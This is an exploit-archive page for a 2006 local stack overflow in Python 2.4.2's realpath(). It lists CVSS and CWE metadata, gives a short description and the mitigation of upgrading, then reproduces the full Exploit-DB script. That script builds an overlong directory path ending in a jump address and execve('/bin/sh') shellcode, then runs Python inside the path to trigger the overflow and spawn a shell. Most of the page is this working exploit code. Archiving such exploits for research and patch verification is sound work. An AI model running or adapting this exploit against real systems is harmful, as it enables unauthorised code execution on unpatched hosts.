Python - exploit.company

vendor:

Python

by:

dx/vaxen and posidron

7,2

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: Python

Affected Version From: Python 2.4.2

Affected Version To: Python 2.4.2

Patch Exists: YES

Related CWE: N/A

CPE: a:python:python:2.4.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2006

Python <= 2.4.2 realpath() Local Stack Overflow

Python <= 2.4.2 is vulnerable to a local stack overflow vulnerability. This exploit is against VA Space Randomization. The bug was found and developed by dx/vaxen (Gotfault Security) and posidron (Tripbit Research Group). The exploit creates a directory with a long path name and then executes a python script in that directory. The python script contains shellcode which is then executed.

Mitigation:

Upgrade to Python 2.4.3 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# milw0rm.com [2006-03-18]